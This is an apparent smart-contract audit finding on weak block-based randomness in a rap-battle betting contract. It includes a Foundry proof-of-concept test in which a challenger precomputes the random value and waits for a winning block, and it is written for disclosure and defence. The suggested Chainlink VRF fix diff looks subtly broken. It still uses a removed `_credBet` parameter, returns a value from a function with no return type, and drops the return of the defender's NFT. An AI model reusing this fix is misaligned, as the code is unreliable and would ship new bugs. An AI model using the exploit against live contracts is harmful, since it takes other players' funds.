Summary
Any user can win a battle by guessing the random number and waiting for the right moment.
Vulnerability Details
Generating random numbers based on block data is not secure, as an attacking contract can precalculate it and make decisions in its favor. In this case, a hash generated from block.timestamp, block.prevrandao, and msg.sender is being used, which are values that are available before entering the battle.
Furthermore, in Arbitrum, block.prevrandao is a constant 1, so the randomness is further diminished.
With this, a malicious challenger can guess the battle calculations and know in advance if he will win the battle.
In this test, the defender prepares a battle, and the challenger waits for a block where he is the winner.
function testChallengerWinsByGuessingRandom(uint256 blockNumber) public twoSkilledRappers {
uint256 initialChallengerBalance = cred.balanceOf(challenger);
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.assume(blockNumber < type(uint256).max / 12);
vm.roll(blockNumber);
vm.warp(blockNumber * 12);
uint256 loop = 0;
uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(0);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
do {
loop++;
vm.roll(block.number + 1);
vm.warp(block.timestamp + 12);
vm.prevrandao(keccak256(abi.encodePacked(block.number)));
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, challenger))) % totalBattleSkill;
if (rapBattle.defender() != address(0) && random > defenderRapperSkill) {
vm.prank(challenger);
rapBattle.goOnStageOrBattle(1, 3);
break;
}
} while (loop < 100);
uint256 finalChallengerBalance = cred.balanceOf(challenger);
assertEq(finalChallengerBalance, initialChallengerBalance + 3);
}
Test passes
Ran 1 test for test/OneShotTestAudit.t.sol:RapBattleTest
[PASS] testChallengerWinsByGuessingRandom(uint256) (runs: 256, μ: 625514, ~: 625376)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.12s
Impact
An attacker can unfairly win a battle without risking his funds.
Tools Used
Foundry, Manual review
Recommendations
Implement a solution with a verifiable source of randomness, to ensure that the outcome of the battle cannot be precalculated.
You can use Chainlink VRF (refer to the official documentation for the initialization of VRFConsumerBase). To achieve this, you have to modify the battle logic.
Firstly, the challenger should deposit his funds and NFT, just like the defender:
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
+ require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
+ challenger = msg.sender;
+ challengerTokenId = _tokenId;
+ oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
+ credToken.transferFrom(msg.sender, address(this), _credBet);
- _battle(_tokenId, _credBet);
+ // Request the random number
+ return requestRandomness(keyHash, fee);
}
}```
When Chainlink VRF returns the random number, we start the battle:
```diff
+function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
+ require(randomness > 0, "Random not found");
+ _battle(randomness);
+}
And _battle() function could be modified as follows:
-function _battle(uint256 _tokenId, uint256 _credBet) internal {
+function _battle(uint256 randomness) internal {
address _defender = defender;
+ address _challenger = challenger;
+ require(_defender != address(0), "No defender");
+ require(_challenger != address(0), "No challenger");
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
- uint256 challengerRapperSkill = getRapperSkill(_tokenId);
+ uint256 challengerRapperSkill = getRapperSkill(challengerTokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
- uint256 random =
- uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
+ uint256 random = randomness % totalBattleSkill;
// Reset the defender
defender = address(0);
+ challenger = address(0);
- emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
+ emit Battle(_challenger, challengerTokenId, random <= defenderRapperSkill ? _defender : _challenger);
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
- credToken.transfer(_defender, defenderBet);
- credToken.transferFrom(msg.sender, _defender, _credBet);
+ credToken.transfer(_defender, totalPrize);
} else {
- // Otherwise, since the challenger never sent us the money, we just give the money in the contract
- credToken.transfer(msg.sender, _credBet);
+ credToken.transfer(_challenger, totalPrize);
}
totalPrize = 0;
// Return the defender's NFT
- oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
+ oneShotNft.transferFrom(address(this), _challenger, challengerTokenId);
}
